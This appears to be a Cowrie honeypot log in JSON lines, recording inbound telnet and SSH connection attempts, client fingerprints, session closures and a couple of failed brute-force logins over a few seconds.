{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":48258,"dst_ip":"159.203.135.109","dst_port":23,"session":"0afe1e42b24c","protocol":"telnet","message":"New connection: 167.71.198.239:48258 (159.203.135.109:23) [session: 0afe1e42b24c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:01.901706Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":41682,"dst_ip":"10.17.0.5","dst_port":22,"session":"b512a2e00c8f","protocol":"ssh","message":"New connection: 171.244.143.209:41682 (10.17.0.5:22) [session: b512a2e00c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:01.972672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:01.978374Z","src_ip":"171.244.143.209","session":"b512a2e00c8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:02.234964Z","src_ip":"171.244.143.209","session":"b512a2e00c8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":42394,"dst_ip":"10.17.0.5","dst_port":23,"session":"b25e1a127827","protocol":"telnet","message":"New connection: 85.190.254.94:42394 (10.17.0.5:23) [session: b25e1a127827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:02.332602Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":42920,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5289dda5c80","protocol":"telnet","message":"New connection: 85.190.254.94:42920 (10.17.0.5:23) [session: a5289dda5c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:02.457361Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":43404,"dst_ip":"10.17.0.5","dst_port":23,"session":"97aba1fc85f0","protocol":"telnet","message":"New connection: 85.190.254.94:43404 (10.17.0.5:23) [session: 97aba1fc85f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:02.593735Z"}
{"eventid":"cowrie.session.closed","duration":31.90695858001709,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:02.886129Z","src_ip":"85.190.254.94","session":"89dc5205f80c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":49872,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1e477faf166","protocol":"telnet","message":"New connection: 167.71.198.239:49872 (159.203.135.109:23) [session: f1e477faf166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:02.890898Z"}
{"eventid":"cowrie.session.closed","duration":30.860039472579956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:03.087125Z","src_ip":"85.190.254.94","session":"6341c3aecdcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":45158,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d197dae77bb","protocol":"telnet","message":"New connection: 85.190.254.94:45158 (10.17.0.5:23) [session: 0d197dae77bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:03.099975Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"melocoton","message":"login attempt [root/melocoton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:03.237636Z","src_ip":"171.244.143.209","session":"b512a2e00c8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.52053475379944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:03.244908Z","src_ip":"167.71.198.239","session":"17a447fbd8be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51875638961792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:03.248708Z","src_ip":"167.71.198.239","session":"d81092498b76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.86025333404541,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:03.491060Z","src_ip":"167.71.198.239","session":"2e8d522ea8ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":46898,"dst_ip":"10.17.0.5","dst_port":23,"session":"74f8849b6d75","protocol":"telnet","message":"New connection: 85.190.254.94:46898 (10.17.0.5:23) [session: 74f8849b6d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:03.634392Z"}
{"eventid":"cowrie.session.closed","duration":30.8090341091156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:04.071296Z","src_ip":"85.190.254.94","session":"c5124ca3198a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":49184,"dst_ip":"10.17.0.5","dst_port":23,"session":"a005494bf408","protocol":"telnet","message":"New connection: 85.190.254.94:49184 (10.17.0.5:23) [session: a005494bf408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:04.376016Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:04.481228Z","src_ip":"171.244.143.209","session":"b512a2e00c8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":46552,"dst_ip":"10.17.0.5","dst_port":23,"session":"209ffbcde03e","protocol":"telnet","message":"New connection: 85.190.254.94:46552 (10.17.0.5:23) [session: 209ffbcde03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:04.533156Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":50632,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9e7a1e0f707","protocol":"telnet","message":"New connection: 85.190.254.94:50632 (10.17.0.5:23) [session: a9e7a1e0f707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:04.786813Z"}
{"eventid":"cowrie.session.closed","duration":30.389841556549072,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:05.049995Z","src_ip":"85.190.254.94","session":"a1d3a47cab57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93017601966858,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:05.058083Z","src_ip":"85.190.254.94","session":"6812de071c85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":52764,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6c0a7eb5ab9","protocol":"telnet","message":"New connection: 85.190.254.94:52764 (10.17.0.5:23) [session: f6c0a7eb5ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:05.460919Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":52146,"dst_ip":"159.203.135.109","dst_port":23,"session":"0efabf25184f","protocol":"telnet","message":"New connection: 167.71.198.239:52146 (159.203.135.109:23) [session: 0efabf25184f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:05.653158Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":53662,"dst_ip":"159.203.135.109","dst_port":23,"session":"a54556a5b905","protocol":"telnet","message":"New connection: 167.71.198.239:53662 (159.203.135.109:23) [session: a54556a5b905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:05.700226Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":52690,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb885448d372","protocol":"telnet","message":"New connection: 136.244.67.81:52690 (159.203.135.109:23) [session: bb885448d372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:05.789992Z"}
{"eventid":"cowrie.session.closed","duration":30.594518184661865,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:06.053243Z","src_ip":"85.190.254.94","session":"85ad49d60e5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:06.058177Z","src_ip":"100.27.226.38","session":"14c0cc9c2aeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.080727338790894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:06.064965Z","src_ip":"85.190.254.94","session":"9de71d51aeb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45465660095215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:06.084111Z","src_ip":"85.190.254.94","session":"33aae27225b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.450693607330322,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:06.148508Z","src_ip":"85.190.254.94","session":"e0f86b11325b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":57598,"dst_ip":"10.17.0.5","dst_port":23,"session":"90e3b8891a63","protocol":"telnet","message":"New connection: 85.190.254.94:57598 (10.17.0.5:23) [session: 90e3b8891a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:06.982916Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":57776,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eb9b66c6985","protocol":"telnet","message":"New connection: 85.190.254.94:57776 (10.17.0.5:23) [session: 4eb9b66c6985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:07.054080Z"}
{"eventid":"cowrie.session.closed","duration":31.048929691314697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:07.095046Z","src_ip":"85.190.254.94","session":"e70a1b1c4ef0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.438828229904175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:09.053315Z","src_ip":"85.190.254.94","session":"7d4ae70a9205","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.27718162536621,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:09.195634Z","src_ip":"85.190.254.94","session":"04136e02ce29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":36028,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fd96acae4e0","protocol":"telnet","message":"New connection: 85.190.254.94:36028 (10.17.0.5:23) [session: 3fd96acae4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:09.237474Z"}
{"eventid":"cowrie.session.closed","duration":31.04260492324829,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:10.108718Z","src_ip":"85.190.254.94","session":"458d5c3c71df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":41488,"dst_ip":"10.17.0.5","dst_port":23,"session":"23c5dce20172","protocol":"telnet","message":"New connection: 85.190.254.94:41488 (10.17.0.5:23) [session: 23c5dce20172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:10.882725Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":60234,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0db2f69fabe","protocol":"telnet","message":"New connection: 167.71.198.239:60234 (159.203.135.109:23) [session: a0db2f69fabe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:10.903833Z"}
{"eventid":"cowrie.session.closed","duration":30.979799270629883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:11.079057Z","src_ip":"85.190.254.94","session":"8ac7f167f186","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":42208,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf1136a45d74","protocol":"telnet","message":"New connection: 85.190.254.94:42208 (10.17.0.5:23) [session: cf1136a45d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:11.096707Z"}
{"eventid":"cowrie.session.closed","duration":31.130855083465576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:11.151583Z","src_ip":"85.190.254.94","session":"2cf018051866","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":42836,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0e1de3ad19d","protocol":"telnet","message":"New connection: 85.190.254.94:42836 (10.17.0.5:23) [session: e0e1de3ad19d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:11.319246Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":43334,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbd63d6ad6e6","protocol":"telnet","message":"New connection: 85.190.254.94:43334 (10.17.0.5:23) [session: dbd63d6ad6e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:11.458855Z"}
{"eventid":"cowrie.session.closed","duration":30.982053518295288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:12.196288Z","src_ip":"136.244.67.81","session":"c79dc5847325","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":45586,"dst_ip":"10.17.0.5","dst_port":23,"session":"be62fb77d9a8","protocol":"telnet","message":"New connection: 85.190.254.94:45586 (10.17.0.5:23) [session: be62fb77d9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:12.202194Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":47834,"dst_ip":"10.17.0.5","dst_port":23,"session":"49062019f120","protocol":"telnet","message":"New connection: 85.190.254.94:47834 (10.17.0.5:23) [session: 49062019f120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:12.924367Z"}
{"eventid":"cowrie.session.closed","duration":30.828217029571533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:13.050387Z","src_ip":"85.190.254.94","session":"d1df1f4dd6f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59344482421875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:13.106549Z","src_ip":"85.190.254.94","session":"d18533962364","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":48450,"dst_ip":"10.17.0.5","dst_port":23,"session":"9693d5ba140a","protocol":"telnet","message":"New connection: 85.190.254.94:48450 (10.17.0.5:23) [session: 9693d5ba140a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:13.117534Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":48968,"dst_ip":"10.17.0.5","dst_port":23,"session":"d690b7fc210a","protocol":"telnet","message":"New connection: 85.190.254.94:48968 (10.17.0.5:23) [session: d690b7fc210a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:13.285160Z"}
{"eventid":"cowrie.session.closed","duration":31.20107865333557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:13.312956Z","src_ip":"85.190.254.94","session":"027e514bbe63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08308458328247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:13.754642Z","src_ip":"85.190.254.94","session":"d024a1e99482","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":35976,"dst_ip":"159.203.135.109","dst_port":23,"session":"4935867c0241","protocol":"telnet","message":"New connection: 167.71.198.239:35976 (159.203.135.109:23) [session: 4935867c0241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:13.793667Z"}
{"eventid":"cowrie.session.closed","duration":30.518362760543823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:14.056352Z","src_ip":"85.190.254.94","session":"3f3b1a51a152","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":51148,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ef77a5ae5b5","protocol":"telnet","message":"New connection: 85.190.254.94:51148 (10.17.0.5:23) [session: 6ef77a5ae5b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:14.066190Z"}
{"eventid":"cowrie.session.closed","duration":31.048040628433228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:14.075739Z","src_ip":"85.190.254.94","session":"80196b9108c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.363604068756104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:14.080933Z","src_ip":"136.244.67.81","session":"d46593ee1eec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":51216,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cb382e2f171","protocol":"telnet","message":"New connection: 85.190.254.94:51216 (10.17.0.5:23) [session: 8cb382e2f171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:14.092207Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":51496,"dst_ip":"10.17.0.5","dst_port":23,"session":"85895c38344b","protocol":"telnet","message":"New connection: 85.190.254.94:51496 (10.17.0.5:23) [session: 85895c38344b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:14.221462Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45074,"dst_ip":"159.203.135.109","dst_port":22,"session":"e188b334a1a1","protocol":"ssh","message":"New connection: 159.203.92.129:45074 (159.203.135.109:22) [session: e188b334a1a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:14.352832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:14.360415Z","src_ip":"159.203.92.129","session":"e188b334a1a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:14.367472Z","src_ip":"159.203.92.129","session":"e188b334a1a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":52068,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e1e76a0a155","protocol":"telnet","message":"New connection: 85.190.254.94:52068 (10.17.0.5:23) [session: 8e1e76a0a155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:14.383619Z"}
{"eventid":"cowrie.login.failed","username":"alias","password":"11111111","message":"login attempt [alias/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:14.420044Z","src_ip":"159.203.92.129","session":"e188b334a1a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":52802,"dst_ip":"10.17.0.5","dst_port":23,"session":"cef1a2a5f329","protocol":"telnet","message":"New connection: 85.190.254.94:52802 (10.17.0.5:23) [session: cef1a2a5f329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:14.601943Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":37128,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc1abcc37663","protocol":"telnet","message":"New connection: 167.71.198.239:37128 (159.203.135.109:23) [session: fc1abcc37663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:14.758888Z"}
{"eventid":"cowrie.session.closed","duration":30.85726022720337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:15.219246Z","src_ip":"167.71.198.239","session":"fdf96e0d814b","protocol":"telnet"}
